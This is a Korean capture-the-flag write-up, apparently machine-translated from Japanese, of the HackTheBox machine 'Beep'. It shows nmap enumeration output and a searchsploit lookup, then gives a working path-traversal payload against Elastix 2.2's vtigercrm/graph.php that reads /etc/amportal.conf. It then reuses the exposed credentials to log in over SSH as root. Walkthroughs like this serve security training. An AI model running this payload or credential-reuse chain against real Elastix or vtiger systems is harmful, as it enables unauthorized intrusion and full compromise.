【HackTheBox】Beep - Writeup -

6158 단어 HackTheBox취약성

【HackTheBox】Beep





포트 열거 (nmap enumeration)


map -T5 --min-rate 10000 10.10.10.7
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
443/tcp  open  https
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
4445/tcp open  upnotifyp

기본적인 포트를 알았으므로, -A(상세 옵션)로 더 많은 정보를 조사합니다.
awk '{print $1}' | grep -o '[0-9]\+' | sed -z 's/\n/,/g' | sed 's/.$//g'

이상의 커멘드로 나온 포트 번호를 부드럽게 정돈할 수 있습니다.
nmap -p 22,25,80,110,111,143,443,993,995,3306,4445 -A 10.10.10.7
22/tcp   open  ssh        OpenSSH 4.3 (protocol 2.0)                                                                                
| ssh-hostkey:                                                                                                                      
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)                                                                      
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)                                                                      
25/tcp   open  smtp       Postfix smtpd                           
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
80/tcp   open  http       Apache httpd 2.2.3                      
|_http-server-header: Apache/2.2.3 (CentOS)                       
|_http-title: Did not follow redirect to https://10.10.10.7/                                                                        
|_https-redirect: ERROR: Script execution failed (use -d to debug)                                                                  
110/tcp  open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_pop3-capabilities: EXPIRE(NEVER) AUTH-RESP-CODE LOGIN-DELAY(0) APOP IMPLEMENTATION(Cyrus POP3 server v2) TOP USER RESP-CODES UIDL STLS PIPELINING
111/tcp  open  rpcbind    2 (RPC #100000)                         
143/tcp  open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4                                                              
|_imap-capabilities: RENAME THREAD=REFERENCES RIGHTS=kxte Completed URLAUTHA0001 X-NETSCAPE QUOTA CONDSTORE LIST-SUBSCRIBED LISTEXT ACL CATENATE STARTTLS IMAP4rev1 ANNOTATEMORE THREAD=ORDEREDSUBJECT MULTIAPPEND OK ID UNSELECT SORT BINARY MAILBOX-REFERRALS UIDPLUS CHILDREN IMAP4 LITERAL+ ATOMIC NO SORT=MODSEQ NAMESPACE IDLE      
443/tcp  open  ssl/https?                                         
|_ssl-date: 2020-07-11T10:55:40+00:00; +17s from scanner time.                                                                      
993/tcp  open  ssl/imap   Cyrus imapd                             
|_imap-capabilities: CAPABILITY                                   
995/tcp  open  pop3s?                                             
3306/tcp open  mysql      MySQL (unauthorized)                                                                                      
4445/tcp open  upnotifyp?      

예상


  • smtp-> imap과 pop3가 있기 때문에 메일 서버가 있습니다.
  • http/https 웹사이트가 있다.
  • ssh로 웹사이트 관리를 하고 있는 모양.
  • mysql에서 어떤 데이터를 관리하고 있습니다.



  • Elastix라는 서비스를 호스팅하는 웹 사이트였습니다.

    ---Elastix ---
    Elastix는 IP PBX, 이메일, IM, 팩스 및 협업 기능을 통합하는 통합 커뮤니케이션 서버 소프트웨어입니다. 웹 인터페이스가 있으며 예측 다이얼 기능이 있는 콜센터 소프트웨어와 같은 기능을 포함합니다.

    그래서 다양한 서비스가 가동하고 있었던 것 같다.

    잘 보면, 2011년제의 파일 업로드가 많기 때문에, 버전을 조사한다.
    • 2011-11-05: Distribution Release: Elastix 2.2
    #searchspoloitで脆弱性のあるソフトウェアを調べる
    searchsploit elastix
    
    Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
    #スクリプトの中身から取り出した攻撃コード
    \#/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
    
    
    

    ---LFI---
    로컬 파일 포함은 외부 파일을 읽는 대신
    서버의 파일을 잘못 읽거나 의도하지 않은 동작을 일으켜 취약성을 일으킬 수 있습니다.

    #LFI Exploit:/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

    브라우저에서 코드 주입 ぅ!


    ページソースを見る|view-source:https://*그렇다면 깔끔한 코드를 쉽게 볼 수 있습니다.
    AMPDBENGINE=mysql
    # AMPDBNAME=asterisk
    AMPDBUSER=asteriskuser
    # AMPDBPASS=amp109
    AMPDBPASS=jEhdIekWmdjE
    AMPENGINE=asterisk
    AMPMGRUSER=admin
    #AMPMGRPASS=amp111
    AMPMGRPASS=jEhdIekWmdjE
    

    사용할 수있는 사용자는 admin:jEhdIekWmdjE해시 태그 #로 코멘트 아웃되어 있지 않기 때문에, 현재 유저의 가능성.


    로그인 성공.

    그러나 리버스 쉘을 업로드 할 곳이 없었기 때문에 ssh로 시도해보십시오.

    SSH



    사용자는 admin에서 처음 시도했지만 실패했기 때문에 root로 로그인 해보십시오.
    ➜  ~ ssh [email protected]
    [email protected]'s password: 
    Last login: Tue Jul 16 11:45:47 2019
    
    Welcome to Elastix 
    ----------------------------------------------------
    
    To access your Elastix System, using a separate workstation (PC/MAC/Linux)
    Open the Internet Browser using the following URL:
    http://10.10.10.7
    
    [root@beep ~]# ls
    anaconda-ks.cfg        install.log         postnochroot  webmin-1.570-1.noarch.rpm
    elastix-pr-2.2-1.i386.rpm  install.log.syslog  root.txt
    [root@beep ~]# id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    [root@beep ~]# whoami
    root
    [root@beep ~]# 
    

    요약


  • LFI (Local File Inclusion) 취약성에 대한 실천이 가능했다.
  • searchsploit에서 취약점을 확인하는 단계 (버전 확인 -> SearchSploit)
  • 좋은 웹페이지 즐겨찾기